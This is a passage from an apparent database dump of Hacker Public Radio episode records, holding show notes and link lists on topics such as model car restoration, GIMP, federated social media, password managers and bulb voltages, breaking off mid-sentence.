2021-09-24:\n\"You are most welcome\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3431#comments\" target=\"_blank\">hpr3431</a></strong>\n(2021-09-27) \"<em>Living in the Terminal</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=396\" target=\"_blank\">BlacKernel</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3431#1\" target=\"_blank\">Comment 1</a>:\nOperat0r on 2021-09-27:\n\"Kids these days!\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3431#2\" target=\"_blank\">Comment 2</a>:\nb-yeezi on 2021-09-28:\n\"+1 for cnus\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3431#3\" target=\"_blank\">Comment 3</a>:\nsesamemucho on 2021-09-29:\n\"The text\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3431#4\" target=\"_blank\">Comment 4</a>:\nDave Morriss on 2021-09-29:\n\"Very enjoyable\"</li></ul><br/>\n</li></ul>\n\n<h2>Mailing List discussions</h2>\n<p>\nPolicy decisions surrounding HPR are taken by the community as a whole. This\ndiscussion takes place on the <a href=\"https://hackerpublicradio.org/maillist\"\ntarget=\"_blank\">Mail List</a> which is open to all HPR listeners and\ncontributors. The discussions are open and available on the HPR server under\n<a href=\"https://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/\">Mailman</a>.\n</p>\n<p>The threaded discussions this month can be found here:</p>\n<a href=\"https://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/2021-September/thread.html\" target=\"_blank\">https://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/2021-September/thread.html</a>\n\n\n<h2>Events Calendar</h2>\n<p>With the kind permission of <strong>LWN.net</strong> we are linking to\n<a href=\"https://lwn.net/Calendar/\" target=\"_blank\">The LWN.net Community Calendar</a>.</p>\n<p>Quoting the site:</p>\n<blockquote>This is the LWN.net community event calendar, where we track\nevents of interest to people using and developing Linux and free software.\nClicking on individual events will take you to the appropriate web\npage.</blockquote>\n\n<h2>Any other business</h2>\n<h3 id=\"older-hpr-shows-on-archive.org\">Older HPR shows on archive.org</h3>\n<p>This month 5 additional shows in the range 1-870 have been uploaded.</p>\n<p>Since we don\'t want to upload shows without summaries or tags the <em>old shows</em> and <em>tag and summary</em> projects are now tied together. So we will be all the more welcoming of tag and summary updates submitted as described on the <a href=\"https://hackerpublicradio.org/report_missing_tags.php\">summary page</a>.</p>\n<h3 id=\"tags-and-summaries\">Tags and Summaries</h3>\n<p>Thanks to the following contributors for sending in updates in the past month:<br />\n<b><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=318\">Archer72</a>, <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=293\">Rho`n</a></b></p>\n<p>Over the period tags and/or summaries have been added to 76 shows which were without them.</p>\n<p>There are currently 38 shows which need a summary and/or tags.</p>\n<p>If you would like to contribute to the tag/summary project visit the summary page at <a href=\"https://hackerpublicradio.org/report_missing_tags.php\" class=\"uri\">https://hackerpublicradio.org/report_missing_tags.php</a> and follow the instructions there.</p>\n\n\n',159,47,1,'CC-BY-SA','Community News',0,0,1),
(3134,'2020-08-06','Tomorrowland 2020',584,'Explaining the experience of the first virtual music festival','<p>The music festival Tomorrowland was made virtual this year.</p>\r\n<p>Usually, they have 200k visitors over two weekends on a small area of 128 football (soccer) fields. This year they digitally did it all, which was engaging and fun. I\'ve never attended, but I loved this year, where I could be a part of the experience.</p>\r\n<p>This recording was made at 01.00 AM right after the festival had ended, so I still had the hype, totally sober but euphoric.</p>\r\n<ul>\r\n<li><p>Katy Perry<br />\r\n<a href=\"https://www.youtube.com/watch?v=i65puYqFh6Q\" class=\"uri\">https://www.youtube.com/watch?v=i65puYqFh6Q</a></p></li>\r\n<li><p>David Guetta<br />\r\n<a href=\"https://www.youtube.com/watch?v=xs7eqBkQCYM\" class=\"uri\">https://www.youtube.com/watch?v=xs7eqBkQCYM</a></p></li>\r\n</ul>\r\n',382,0,0,'CC-BY-SA','music,dance,house,festival,tomorrowland',0,0,1),
(3136,'2020-08-10','Matchbox Restoration Part 6',286,'Matchbox Cars, Diecast Models, Restoration, Reassembly of the model','<p>Good day to all in HPR land, this is Tony Hughes coming to you again from Blackpool in the UK. To recap this is the 6th in a series of shows about my hobby of restoring Matchbox and other Die cast models. In the last show I went through the process I use to paint and prepare the casting for reassembly. In this episode I will discuss how I put back the wheels onto the base and reassemble the final model, before revealing in the show note pictures how the model came out.</p>\r\n<p>So before putting back the plastic wheels onto the axles I polished the axles in my drill bit using a little bit of fine wet and dry emery paper.</p>\r\n<p>Picture 001<br />\r\n<a href=\"https://hackerpublicradio.org/eps/hpr3136/img_001.jpg\"><img src=\"https://hackerpublicradio.org/eps/hpr3136/img_001_thumbnail.jpg\" alt=\"Picture 001\" /></a></p>\r\n<p>After selecting the best 4 of the plastic tyres from the models we originally dismantled I washed these in a little soapy water and after drying they these were fit for putting back on the restored model. The cleaned up axle is assembled on the base with the first tyre in place with the large dome end of the axle sat on a nail punch held in a vice. The second tyre is then placed on the axle and holding this all in place a small hammer is used to peen over the end of the axle by hitting it gently so the end is peened over but the axle does not bend. It is possible to do this stage in a drill press using another nail punch in the drill chuck, but I do not have a drill press at the moment, so have to do this the old school way, with a bit of brute force and ignorance.</p>\r\n<p>Picture 002<br />\r\n<a href=\"https://hackerpublicradio.org/eps/hpr3136/img_002.jpg\"><img src=\"https://hackerpublicradio.org/eps/hpr3136/img_002_thumbnail.jpg\" alt=\"Picture 002\" /></a></p>\r\n<p>So we now have all the parts ready for reassembly. The base has the axles and wheels back on, the screen has been polished and the plastic seating given a clean in soapy water and dried, and the body is repainted and ready to go.</p>\r\n<p>Picture 003<br />\r\n<a href=\"https://hackerpublicradio.org/eps/hpr3136/img_003.jpg\"><img src=\"https://hackerpublicradio.org/eps/hpr3136/img_003_thumbnail.jpg\" alt=\"Picture 003\" /></a></p>\r\n<p>So being careful not to damage the paint work the casting is placed with the base side up and the window unit is placed into it.</p>\r\n<p>Picture 004<br />\r\n<a href=\"https://hackerpublicradio.org/eps/hpr3136/img_004.jpg\"><img src=\"https://hackerpublicradio.org/eps/hpr3136/img_004_thumbnail.jpg\" alt=\"Picture 004\" /></a></p>\r\n<p>Followed by the plastic interior, the eagle eyed among you will notice a colour change to the body work as I forgot to take a picture of this stage on the gold model. You have to ensure that the tab with the tow hitch (yes Matchbox put a tow hitch on a posh car) is fully over the retaining post or the base will not seat properly.</p>\r\n<p>Picture 005<br />\r\n<a href=\"https://hackerpublicradio.org/eps/hpr3136/img_005.jpg\"><img src=\"https://hackerpublicradio.org/eps/hpr3136/img_005_thumbnail.jpg\" alt=\"Picture 005\" /></a></p>\r\n<p>The base is then placed back on the model by sliding it over the tab at the front and clicking it down over the rivet post.</p>\r\n<p>Picture 006<br />\r\n<a href=\"https://hackerpublicradio.org/eps/hpr3136/img_006.jpg\"><img src=\"https://hackerpublicradio.org/eps/hpr3136/img_006_thumbnail.jpg\" alt=\"Picture 006\" /></a></p>\r\n<p>I then used some \'5 second Fix\' UV glue to glue around the post to hold it in place. You can also drill out the post with a 1.5mm drill and using an M2 tap then use a small M2 screw to hold the base in place, but in this case I was happy with the glue as it was for display and will not be handled frequently enough to require the more secure retention of a screw. With these small models there is a risk of damaging the post while drilling and tapping them so it is personal preference as to the method used to hold it all together at the end.</p>\r\n<p>Picture 007<br />\r\n<a href=\"https://hackerpublicradio.org/eps/hpr3136/img_007.jpg\"><img src=\"https://hackerpublicradio.org/eps/hpr3136/img_007_thumbnail.jpg\" alt=\"Picture 007\" /></a></p>\r\n<p>Picture 008<br />\r\n<a href=\"https://hackerpublicradio.org/eps/hpr3136/img_008.jpg\"><img src=\"https://hackerpublicradio.org/eps/hpr3136/img_008_thumbnail.jpg\" alt=\"Picture 008\" /></a></p>\r\n<p>The model is now completed and the final picture in the show notes is a small collection of what it looks like now it is ready to display again.</p>\r\n<p>Picture 009<br />\r\n<a href=\"https://hackerpublicradio.org/eps/hpr3136/img_009.jpg\"><img src=\"https://hackerpublicradio.org/eps/hpr3136/img_009_thumbnail.jpg\" alt=\"Picture 009\" /></a></p>\r\n<p>So that is the story of how to restore a Die-cast model back from the dead (well almost). These small models are comparatively easy, but some of the larger scale models with many more parts can take many days to restore, and require a lot of patience to do so. But from small beginnings we all start, and maybe in the future I will feel confident enough to tackle something a little more complicated. I have recently done a few models with opening doors which have a retaining spring holding them in place.</p>\r\n<p>So this short story is finished so this is Tony Hughes for Hacker Public Radio, saying goodbye for now, keep safe everyone and I\'ll be back at some time with another show. At the moment I\'m not sure about what, but I will be back, so Ken can rest assured I still owe him a show.</p>\r\n',338,114,0,'CC-BY-SA','Matchbox Cars, Diecast Models, Restoration, Reassembly of the model',0,0,1),
(3137,'2020-08-11','Coronavirus Update 2020-07-30',1364,'Where we are with this pandemic, and how should we respond?','<p>This is an update to my earlier shows to pull together what we know about the Coronavirus on this date, and what measures we can take. It focuses on the lack of solid information at this point and suggests a prudent course to stay safe. <a href=\"https://www.palain.com/health-topics/coronavirus-update-20200730/\" class=\"uri\">https://www.palain.com/health-topics/coronavirus-update-20200730/</a></p>\r\n<ul>\r\n<li><a href=\"https://jamanetwork.com/journals/jamacardiology/fullarticle/2768916\" class=\"uri\">https://jamanetwork.com/journals/jamacardiology/fullarticle/2768916</a></li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Severe_acute_respiratory_syndrome\" class=\"uri\">https://en.wikipedia.org/wiki/Severe_acute_respiratory_syndrome</a></li>\r\n<li><a href=\"https://www.axios.com/hydroxychloroquine-coronavirus-scott-gottlieb-trump-a7b60575-91db-4239-8c86-59b993c55358.html\" class=\"uri\">https://www.axios.com/hydroxychloroquine-coronavirus-scott-gottlieb-trump-a7b60575-91db-4239-8c86-59b993c55358.html</a></li>\r\n<li><a href=\"https://www.sciencenews.org/article/remdesivir-covid-19-coronavirus-pandemic-gilead\" class=\"uri\">https://www.sciencenews.org/article/remdesivir-covid-19-coronavirus-pandemic-gilead</a></li>\r\n<li><a href=\"https://www.nejm.org/doi/full/10.1056/NEJMoa2021436\" class=\"uri\">https://www.nejm.org/doi/full/10.1056/NEJMoa2021436</a></li>\r\n<li><a href=\"https://news.yale.edu/2020/07/27/yale-lead-trial-potential-covid-19-treatment\" class=\"uri\">https://news.yale.edu/2020/07/27/yale-lead-trial-potential-covid-19-treatment</a></li>\r\n<li><a href=\"https://www.nature.com/articles/s41586-020-2577-1_reference.pdf\" class=\"uri\">https://www.nature.com/articles/s41586-020-2577-1_reference.pdf</a></li>\r\n<li><a href=\"https://news.yale.edu/2020/07/27/yale-lead-trial-potential-covid-19-treatment\" class=\"uri\">https://news.yale.edu/2020/07/27/yale-lead-trial-potential-covid-19-treatment</a></li>\r\n<li><a href=\"https://pubs.acs.org/doi/10.1021/acs.nanolett.0c02278\" class=\"uri\">https://pubs.acs.org/doi/10.1021/acs.nanolett.0c02278</a></li>\r\n<li><a href=\"https://helix.northwestern.edu/article/thalidomide-tragedy-lessons-drug-safety-and-regulation\" class=\"uri\">https://helix.northwestern.edu/article/thalidomide-tragedy-lessons-drug-safety-and-regulation</a></li>\r\n<li><a href=\"https://www.washingtonpost.com/health/7-in-10-americans-would-be-likely-to-get-a-coronavirus-vaccine-a-post-abc-poll-finds/2020/06/01/4d1f8f68-a429-11ea-bb20-ebf0921f3bbd_story.html\" class=\"uri\">https://www.washingtonpost.com/health/7-in-10-americans-would-be-likely-to-get-a-coronavirus-vaccine-a-post-abc-poll-finds/2020/06/01/4d1f8f68-a429-11ea-bb20-ebf0921f3bbd_story.html</a></li>\r\n<li><a href=\"https://nymag.com/intelligencer/2020/07/heres-the-latest-good-and-bad-news-about-covid-19.html\" class=\"uri\">https://nymag.com/intelligencer/2020/07/heres-the-latest-good-and-bad-news-about-covid-19.html</a></li>\r\n<li><a href=\"https://www.cdc.gov/coronavirus/2019-ncov/index.html\" class=\"uri\">https://www.cdc.gov/coronavirus/2019-ncov/index.html</a></li>\r\n<li><a href=\"https://curiositystream.com/\" class=\"uri\">https://curiositystream.com/</a></li>\r\n<li><a href=\"https://www.nature.com/nature/articles?type=nature-podcast\" class=\"uri\">https://www.nature.com/nature/articles?type=nature-podcast</a></li>\r\n<li><a href=\"https://www.youtube.com/user/thehealthcaretriage\" class=\"uri\">https://www.youtube.com/user/thehealthcaretriage</a></li>\r\n<li><a href=\"https://www.palain.com/health-topics/the-hierarchy-of-evidence/\" class=\"uri\">https://www.palain.com/health-topics/the-hierarchy-of-evidence/</a></li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=2870\" class=\"uri\">https://hackerpublicradio.org/eps.php?id=2870</a></li>\r\n<li><a href=\"https://www.youtube.com/scishow\" class=\"uri\">https://www.youtube.com/scishow</a></li>\r\n<li><a href=\"https://www.youtube.com/playlist?list=PLsNB4peY6C6IQediwz2GzMTNvm_dMzr47\" class=\"uri\">https://www.youtube.com/playlist?list=PLsNB4peY6C6IQediwz2GzMTNvm_dMzr47</a></li>\r\n<li><a href=\"https://www.sciencenews.org/\" class=\"uri\">https://www.sciencenews.org/</a></li>\r\n<li><a href=\"https://nymag.com/intelligencer/2020/07/heres-the-latest-good-and-bad-news-about-covid-19.html\" class=\"uri\">https://nymag.com/intelligencer/2020/07/heres-the-latest-good-and-bad-news-about-covid-19.html</a></li>\r\n<li><a href=\"https://www.palain.com/health-topics/coronavirus-update-20200730/\" class=\"uri\">https://www.palain.com/health-topics/coronavirus-update-20200730/</a></li>\r\n</ul>\r\n',198,100,0,'CC-BY-SA','Health, Coronavirus',0,0,1),
(3138,'2020-08-12','Linux Inlaws S01E12: Reminiscing in FLOSS Weekly',5664,'An interview with Randal Schwartz of FLOSS Weekly fame','<ul>\r\n<li>FLOSS Weekly: <a href=\"https://twit.tv/shows/floss-weekly\" target=\"_blank\">https://twit.tv/shows/floss-weekly</a></li>\r\n<li>Kernel patches for Google Futex enhancements: <a href=\"https://lore.kernel.org/lkml/20200722234538.166697-1-posk@posk.io\" target=\"_blank\">https://lore.kernel.org/lkml/20200722234538.166697-1-posk@posk.io</a></li>\r\n<li>Google presentation on Futexes: <a href=\"ttp://pdxplumbers.osuosl.org/2013/ocw//system/presentations/1653/original/LPC%20-%20User%20Threading.pdf\" target=\"_blank\">https://pdxplumbers.osuosl.org/2013/ocw//system/presentations/1653/original/LPC%20-%20User%20Threading.pdf</a></li>\r\n<li>Fuchsia Futexes: <a href=\"https://fuchsia.dev/fuchsia-src/reference/kernel_objects/futex\" target=\"_blank\">https://fuchsia.dev/fuchsia-src/reference/kernel_objects/futex</a></li>\r\n<li>The show where Simon Phipps flips: <a href=\"https://twit.tv/shows/floss-weekly/episodes/521\" target=\"_blank\">https://twit.tv/shows/floss-weekly/episodes/521</a></li>\r\n<li>Perl 6 / Raku: <a href=\"https://raku.org\" target=\"_blank\">https://raku.org</a></li>\r\n<li>Flutter: <a href=\"https://flutter.dev\" target=\"_blank\">https://flutter.dev</a></li>\r\n<li>Dart: <a href=\"https://dart.dev\" target=\"_blank\">https://dart.dev</a></li>\r\n<li>Mouse door opener day: <a href=\"https://www.wdrmaus.de/extras/tueren_auf.php5\" target=\"_blank\">https://www.wdrmaus.de/extras/tueren_auf.php5</a></li>\r\n<li>Grumpy old coders: <a href=\"https://soundcloud.com/user-498377588/grumpy-old-coders-ep-1-fast-change\" target=\"_blank\">https://soundcloud.com/user-498377588/grumpy-old-coders-ep-1-fast-change</a></li>\r\n</ul>\r\n\r\n',384,111,1,'CC-BY-SA','Linux inlaws, communism, free and open source software, FLOSS Weekly, Perl, ship cruises',0,0,1),
(3200,'2020-11-06','Better Social Media 17 - OcapPub',1125,'How using Object Capabilities within ActivityPub could solve some problems with social media.','<p>Social media has some problems, and even federated media is not immune to them. OcapPub proposes to help reduce some problems by moving away from a fundamentally broken model revolving around identity and access to a better model involving objects and capabilities. This could help reduce to problems of identity theft, and help against web site problems like clickjacking and Cross-Site Request Forgery. It is a proposal being worked on, not a finished technology, but it is promising.</p>\r\n<p>Links:</p>\r\n<ul>\r\n<li><a href=\"https://gitlab.com/spritely/ocappub/blob/master/README.org\" class=\"uri\">https://gitlab.com/spritely/ocappub/blob/master/README.org</a></li>\r\n<li><a href=\"https://hacks.mozilla.org/2018/11/decentralizing-social-interactions-with-activitypub/\" class=\"uri\">https://hacks.mozilla.org/2018/11/decentralizing-social-interactions-with-activitypub/</a></li>\r\n<li><a href=\"https://www.w3.org/TR/activitypub/\" class=\"uri\">https://www.w3.org/TR/activitypub/</a></li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Actor_model#Fundamental_concepts\" class=\"uri\">https://en.wikipedia.org/wiki/Actor_model#Fundamental_concepts</a></li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Gamergate_controversy\" class=\"uri\">https://en.wikipedia.org/wiki/Gamergate_controversy</a></li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Speakers%27_Corner\" class=\"uri\">https://en.wikipedia.org/wiki/Speakers%27_Corner</a></li>\r\n<li><a href=\"https://waterken.sourceforge.net/aclsdont/current.pdf\" class=\"uri\">https://waterken.sourceforge.net/aclsdont/current.pdf</a></li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Principle_of_least_privilege\" class=\"uri\">https://en.wikipedia.org/wiki/Principle_of_least_privilege</a></li>\r\n<li><a href=\"https://www.zwilnik.com/better-social-media/ocappub/\" class=\"uri\">https://www.zwilnik.com/better-social-media/ocappub/</a></li>\r\n</ul>\r\n',198,108,0,'CC-BY-SA','social media, alternative, Fediverse, ActivityPub, OcapPub',0,0,1),
(3139,'2020-08-13','MIDI Sysex',1238,'Klaatu talks about Sysex functions in MIDI','<p>\r\nThe MIDI spec is available at <a href=\"https://www.midi.org\" target=\"_blank\">MIDI.org</a>\r\n</p>\r\n\r\n<p>\r\nSysex commands are listed at <a href=\"https://www.midi.org/specifications-old/item/table-4-universal-system-exclusive-messages\" target=\"_blank\">midi.org&#47;specifications-old&#47;item&#47;table-4-universal-system-exclusive-messages</a>\r\n</p>\r\n',78,0,0,'CC-BY-SA','midi,music,synth',0,0,1),
(3141,'2020-08-17','Lessons learnt from Magic the Gathering game design',2269,'Lessons learnt from Magic the Gathering game design','<p>\r\nObservations and musings about game design, seen through the lens of MTG.\r\n</p>\r\n',78,95,0,'CC-BY-SA','magic, mtg',0,0,1),
(3142,'2020-08-18','tcsh',1719,'Klaatu talks about tcsh','<p>\r\nTcsh is a shell. It was popular once, I think. Anyway, I talk about why I sometimes use it, fondly, sometimes.\r\n</p>',78,0,0,'CC-BY-SA','shell,csh,bash,tcsh',0,0,1),
(3210,'2020-11-20','GIMP: Patterns and Gradients',1337,'Patterns and Gradients are useful for drawing with more than just color.','<p>Patterns and Gradients let you create images that go beyond simple colors and let you create more interesting images. And using them also means we begin to see how to combine a variety of tools, like paint tools, selection tools, and brushes, to create the effects we want in our images.</p>\r\n<h2 id=\"links\">Links:</h2>\r\n<ul>\r\n<li><a href=\"https://docs.gimp.org/2.8/en/\" class=\"uri\">https://docs.gimp.org/2.8/en/</a></li>\r\n<li><a href=\"https://www.ahuka.com/gimp/paint-tools/\" class=\"uri\">https://www.ahuka.com/gimp/paint-tools/</a></li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=3150\" class=\"uri\">https://hackerpublicradio.org/eps.php?id=3150</a></li>\r\n<li><a href=\"https://www.ahuka.com/gimp/miscellaneous-tools/\" class=\"uri\">https://www.ahuka.com/gimp/miscellaneous-tools/</a></li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=3180\" class=\"uri\">https://hackerpublicradio.org/eps.php?id=3180</a></li>\r\n<li><a href=\"https://www.ahuka.com/gimp/patterns-and-gradients/\" class=\"uri\">https://www.ahuka.com/gimp/patterns-and-gradients/</a></li>\r\n</ul>',198,113,0,'CC-BY-SA','GIMP, images, photos, graphics, patterns, gradients',0,0,1),
(3220,'2020-12-04','PixelFed',1183,'A look at a federated alternative to Instagram.','<p>Maybe you want to share some photos with your family and friends. You could use Instagram, but that is part of the Surveillance Capitalist media environment. Fortunately, there is a privacy-respecting federated alternative called PixelFed. This episode is an introduction to that platform.</p>\r\n<h2 id=\"links\">Links:</h2>\r\n<ul>\r\n<li><a href=\"https://en.wikipedia.org/wiki/ActivityPub\" class=\"uri\">https://en.wikipedia.org/wiki/ActivityPub</a></li>\r\n<li><a href=\"https://www.w3.org/TR/activitypub/\" class=\"uri\">https://www.w3.org/TR/activitypub/</a></li>\r\n<li><a href=\"https://www.digikam.org/\" class=\"uri\">https://www.digikam.org/</a></li>\r\n<li><a href=\"https://www.gimp.org/\" class=\"uri\">https://www.gimp.org/</a></li>\r\n<li><a href=\"https://docs.pixelfed.org/installing-pixelfed/\" class=\"uri\">https://docs.pixelfed.org/installing-pixelfed/</a></li>\r\n<li><a href=\"https://the-federation.info/\" class=\"uri\">https://the-federation.info/</a></li>\r\n<li><a href=\"https://the-federation.info/pixelfed\" class=\"uri\">https://the-federation.info/pixelfed</a></li>\r\n<li><a href=\"https://mastodon.social/@pixelfed/103122742969957333\" class=\"uri\">https://mastodon.social/@pixelfed/103122742969957333</a></li>\r\n<li><a href=\"https://www.zwilnik.com/better-social-media/pixelfed/\" class=\"uri\">https://www.zwilnik.com/better-social-media/pixelfed/</a></li>\r\n</ul>\r\n',198,108,0,'CC-BY-SA','social media, alternative, Fediverse, ActivityPub, PixelFed, photo sharing',0,0,1),
(3143,'2020-08-19','LibreOffice 7.0 Released!',927,'LibreOffice releases a new major update, LibreOffice 7.0','<p>LibreOffice is the premiere open source office suite, and with the major release of 7.0 continues to move forward. In this episode I look at some of the major features of this upgrade and why it matters.</p>\r\n<h2 id=\"links\">Links</h2>\r\n<ul>\r\n<li><a href=\"https://blog.documentfoundation.org/blog/2020/08/05/announcement-of-libreoffice-7-0/\" class=\"uri\">https://blog.documentfoundation.org/blog/2020/08/05/announcement-of-libreoffice-7-0/</a></li>\r\n<li><a href=\"https://blog.documentfoundation.org/blog/2020/01/21/odf-1-3-approved-as-oasis-committee-specification/\" class=\"uri\">https://blog.documentfoundation.org/blog/2020/01/21/odf-1-3-approved-as-oasis-committee-specification/</a></li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/OASIS_(organization)\" class=\"uri\">https://en.wikipedia.org/wiki/OASIS_(organization)</a></li>\r\n<li><a href=\"https://skia.org/\" class=\"uri\">https://skia.org/</a></li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Vulkan_(API)\" class=\"uri\">https://en.wikipedia.org/wiki/Vulkan_(API)</a></li>\r\n<li><a href=\"https://www.documentfoundation.org/governance/advisory-board/\" class=\"uri\">https://www.documentfoundation.org/governance/advisory-board/</a></li>\r\n<li><a href=\"https://www.redhat.com/en\" class=\"uri\">https://www.redhat.com/en</a></li>\r\n<li><a href=\"https://www.collaboraoffice.com/\" class=\"uri\">https://www.collaboraoffice.com/</a></li>\r\n<li><a href=\"https://www.cib.de/en/home.html\" class=\"uri\">https://www.cib.de/en/home.html</a></li>\r\n<li><a href=\"https://www.ahuka.com/libreoffice-7-0-released/\" class=\"uri\">https://www.ahuka.com/libreoffice-7-0-released/</a></li>\r\n</ul>\r\n',198,70,0,'CC-BY-SA','LibreOffice, new release',0,0,1),
(3230,'2020-12-18','Introduction to Layers',1258,'Layers are the most important concept in using GIMP','<p>Layers are the feature that does most of the heavy lifting in GIMP. In this episode we begin looking at them with an introduction, but we\'ll go deeper!</p>\r\n<h2 id=\"links\">Links:</h2>\r\n<ul>\r\n<li><a href=\"https://docs.gimp.org/2.8/en/\" class=\"uri\">https://docs.gimp.org/2.8/en/</a></li>\r\n<li><a href=\"https://www.animationconnection.com/about-the-art/original-production-cels\" class=\"uri\">https://www.animationconnection.com/about-the-art/original-production-cels</a></li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/XCF_(file_format)\" class=\"uri\">https://en.wikipedia.org/wiki/XCF_(file_format)</a></li>\r\n<li><a href=\"https://www.webopedia.com/TERM/A/alpha_channel.html\" class=\"uri\">https://www.webopedia.com/TERM/A/alpha_channel.html</a></li>\r\n<li><a href=\"https://www.ahuka.com/gimp/introduction-to-layers/\" class=\"uri\">https://www.ahuka.com/gimp/introduction-to-layers/</a></li>\r\n</ul>\r\n',198,113,0,'CC-BY-SA','GIMP, images, photos, graphics, layers',0,0,1),
(3146,'2020-08-24','Help Me Help you with HPR eps!',358,'What should I do and how should I do it ?','<p>A show about shows ?</p>',36,0,0,'CC-BY-SA','podcasting, hpr',0,0,1),
(3155,'2020-09-04','LastPass Security Dashboard',680,'A recent update to LastPass added a Security Dashboard','<p>LastPass is one of the password managers I use (along with Keepass), and recently they added a Security Dashboard feature to the product. I take a look at this dashboard and review some of the features.</p>\r\n<h2 id=\"links\">Links:</h2>\r\n<ul>\r\n<li><a href=\"https://blog.lastpass.com/2020/08/new-lastpass-security-dashboard-and-dark-web-monitoring-now-available/\" class=\"uri\">https://blog.lastpass.com/2020/08/new-lastpass-security-dashboard-and-dark-web-monitoring-now-available/</a></li>\r\n<li><a href=\"https://www.pcmag.com/picks/the-best-password-managers\" class=\"uri\">https://www.pcmag.com/picks/the-best-password-managers</a></li>\r\n<li><a href=\"https://www.cnet.com/how-to/best-password-manager-to-use-for-2020-1password-last-password-more-compared/\" class=\"uri\">https://www.cnet.com/how-to/best-password-manager-to-use-for-2020-1password-last-password-more-compared/</a></li>\r\n<li><a href=\"https://www.tomsguide.com/us/best-password-managers,review-3785.html\" class=\"uri\">https://www.tomsguide.com/us/best-password-managers,review-3785.html</a></li>\r\n<li><a href=\"https://www.wired.com/story/best-password-managers/\" class=\"uri\">https://www.wired.com/story/best-password-managers/</a></li>\r\n<li><a href=\"https://www.zwilnik.com/security-and-privacy/hashing-passwords-and-certificates/passwords-entropy-and-good-password-practices/\" class=\"uri\">https://www.zwilnik.com/security-and-privacy/hashing-passwords-and-certificates/passwords-entropy-and-good-password-practices/</a></li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=1620\" class=\"uri\">https://hackerpublicradio.org/eps.php?id=1620</a></li>\r\n<li><a href=\"https://support.logmeininc.com/lastpass/help/what-is-the-security-score-in-my-security-dashboard\" class=\"uri\">https://support.logmeininc.com/lastpass/help/what-is-the-security-score-in-my-security-dashboard</a></li>\r\n<li><a href=\"https://www.sans.org/security-awareness-training/blog/time-password-expiration-die\" class=\"uri\">https://www.sans.org/security-awareness-training/blog/time-password-expiration-die</a></li>\r\n<li><a href=\"https://haveibeenpwned.com/\" class=\"uri\">https://haveibeenpwned.com/</a></li>\r\n<li><a href=\"https://www.enzoic.com/\" class=\"uri\">https://www.enzoic.com/</a></li>\r\n<li><a href=\"https://www.zwilnik.com/the-lastpass-security-dashboard/\" class=\"uri\">https://www.zwilnik.com/the-lastpass-security-dashboard/</a></li>\r\n</ul>\r\n',198,74,0,'CC-BY-SA','LastPass, passwords, security, monitoring',0,0,1),
(3144,'2020-08-20','Pentesting: Insecure Object Reference',726,'How an insecure object reference lead to a covid-related databreach','<p>Insecure object reference is a very common bug in online applications which most of the time leads to significant data breaches. In this episode I talk about one such vulnerability I discovered recently in a covid-related application.</p>',387,74,0,'CC-BY-SA','pentesting,security,hacking',0,0,1),
(3145,'2020-08-21','A light bulb moment, part 1',649,'Finding the working voltage of a bulb','<p>This show came about because of an email from Dave Morriss on the 4th March 2020</p>\r\n<p>The upshot of it was that Dave came into possession of an illuminated lantern that he wanted to use. He had a problem however as the lantern in question was sealed and he didn\'t know the working voltage of the bulb within. He asked me if there was a way of working it out.</p>\r\n<p>Well first of all before I go any further I should probably say I\'m not a bulb expert, however I set about doing a little investigating. What I was about to discover is that calculating this is not as straightforward as you might think.</p>\r\n<p>One thing you might think to do is to use a meter to measure the resistance of the bulb. Even doing this however is fraught with difficulty because measuring the resistance of a cold bulb not at working temperature will give a misleading answer. This is because the resistance of a standard bulb changes with temperature.</p>\r\n<p>I can demonstrate this by measuring the resistance of two light bulbs I have lying around the house.</p>\r\n<p>One is a clear traditional Bayonet tungsten filament house bulb rated at 40W. I live in the UK so its operating voltage is 240V I used my trusty Fluke 77 Digital Ohmmeter but any meter capable of measuring resistance will do. This bulb at room temperature measured a resistance of 108 ohms</p>\r\n<p>The other bulb was a Halogen E14 screw in bulb rated at 28W and its operating voltage like the previous bulb was 240V. Its measured resistance at room temperature was 144 ohms)</p>\r\n<p>Diagrams Created using LibreOffice Draw \"Version: 6.0.7.3\"</p>\r\n<p>Formulae<br />\r\n<img src=\"https://hackerpublicradio.org/eps/hpr3145/img_001.png\" alt=\"Formulae\" /></p>\r\n<p><strong>Calculations For (tungsten filament bulb)</strong></p>\r\n<pre><code>V/R = I (Amps)\r\nso 240V / 108 ohms = 2.2 Amps\r\n\r\nV x I = P (Watts)\r\nso 240V x 2.2 Amps = 528W</code></pre>\r\n<p><strong>Calculations For (halogen bulb)</strong></p>\r\n<pre><code>V/R = 240V / 144 ohms = 1.7 Amps    (halogen)\r\n\r\nV x I = W\r\nso 240V x 1.7 Amps = 408W</code></pre>\r\n<p>As per usual I used google and come up with somebody asking the same sort of question at <a href=\"https://www.candlepowerforums.com/vb/showthread.php?64832-How-to-identify-voltage-of-an-unmarked-bulb\" class=\"uri\">https://www.candlepowerforums.com/vb/showthread.php?64832-How-to-identify-voltage-of-an-unmarked-bulb</a> yes it seems like there a forum for just about anything you can think of.</p>\r\n<p>One person on the forum made the point that there really isn\'t such a thing as a working voltage it just depends on how long you want the bulb to last. For this reason I always turn down the brightness on any car I own that his dimmable dashboard lights changing these bulbs can be a real pain and or can be expensive.</p>\r\n<p>Sometimes the stated working voltage for a bulb can be misleading for example a car bulb 